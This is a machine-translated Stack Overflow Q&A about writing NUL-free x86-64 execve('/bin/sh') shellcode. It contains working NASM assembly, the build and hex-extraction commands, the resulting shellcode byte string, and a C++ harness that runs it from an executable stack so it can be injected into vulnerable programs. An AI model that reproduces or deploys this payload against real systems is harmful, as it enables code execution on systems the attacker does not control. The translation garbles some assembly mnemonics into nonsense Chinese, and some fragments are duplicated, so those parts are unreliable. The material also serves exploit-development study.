Assembly 不带.data节的独立二进制代码中字符串的指针

Assembly 不带.data节的独立二进制代码中字符串的指针,assembly,x86-64,nasm,shellcode,execve,Assembly,X86 64,Nasm,Shellcode,Execve,我正在尝试编写一种利用漏洞的方法,但在使asm代码在堆栈的任何位置运行时遇到了问题。给你: BITS 64 global _start _start: mov rax, 59 jmp short file c1: pop rdi jmp short argv c2: pop rsi mov rdx, 0 syscall ret file: call c1 db '/bin/sh',0 argv: call c2 dq a

我正在尝试编写一种利用漏洞的方法,但在使asm代码在堆栈的任何位置运行时遇到了问题。给你:

BITS 64

global _start
_start:

  mov rax, 59

  jmp short file
  c1:
  pop rdi

  jmp short argv
  c2:
  pop rsi

  mov rdx, 0

  syscall
  ret

file:

  call c1
  db '/bin/sh',0

argv:

  call c2
  dq arg, 0  <- problem

arg:

  db 'sh',0
位64
全球启动
_开始:
莫夫·拉克斯,59岁
jmp短文件
c1:
流行rdi
jmp短argv
c2:
流行性rsi
mov-rdx,0
系统调用
ret
文件:
呼叫c1
db'/bin/sh',0
argv:
呼叫指挥控制

dq arg,0在64位代码中,您不需要JMP/CALL/POP方法,因为您可以使用RIP相对寻址。您的代码还使用类似于
mov rdx,0
的指令在字符串中插入不需要的NUL字节。对于将作为字符串插入的外壳代码,您需要使用一组不引入NUL的指令,因为根据如何将字符串注入可利用程序,NUL可能会过早结束字符串

定义如下:

执行程序

int execve(const char *pathname, char *const argv[],
           char *const envp[]);
argv是传递给新程序的参数字符串数组。通过 按照约定,这些字符串中的第一个(即argv[0])应包含 与正在执行的文件关联的文件名。envp是一个 字符串数组,通常形式为key=value 作为环境传递给新程序。argv和envp数组 每个都必须在数组末尾包含一个空指针

如果不使用envp,则可以传递NULL。argv需要是一个以NULL结尾的字符串指针列表。在您的情况下,您试图生成与C代码等效的代码:

使用以下功能将其构建到二进制可执行文件中:

nasm -f elf64 shellcode.asm -o shellcode.o
gcc -nostartfiles shellcode.o -o shellcode
运行
/shellcode
应该会产生一个Linux shell提示符。接下来,将独立可执行文件转换为shell字符串二进制文件,称为
shellcode.bin
,然后将其转换为具有HEXDUMP的十六进制字符串:

objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
HEXDUMP的输出应为:

\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05

注意:输出中没有NUL(
\x00

将字符串插入可开发的C++程序调用<代码>漏洞.CPP < /代码>:

int main(void)
{
    char shellstr[]="\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05";
    reinterpret_cast<void(*)()>(shellstr)();

    return 0;
}
当使用
/exploit
运行时,它应该显示一个Linux shell提示符
strace./exploit
应为
execve
系统调用输出此值:

execve(“/bin/sh”,[“/bin/sh”],NULL)=0


在64位模式下,您不需要调用/弹出技巧,您拥有rip相对lea。使用
lea rcx,[rdi+6]
/
push rcx
您可以构造
argv={“sh”,0}
而不是
{”/bin/sh“,0}
以精确匹配OP要求的内容。或者对于不与可执行路径名重叠的任意第一个参数,如
push'shsh'
/
learcx,[rsp+2]
,将指针插入到
push imm32
创建的以0结尾的字符串中。但是重用可执行路径是一个好主意。除了字节存储
0
,还可以只
push rax
为零,然后
push'/bin'
mov[rsp+4],//sh
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
int main(void)
{
    char shellstr[]="\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05";
    reinterpret_cast<void(*)()>(shellstr)();

    return 0;
}
g++ -Wl,-z,execstack exploit.cpp -o exploit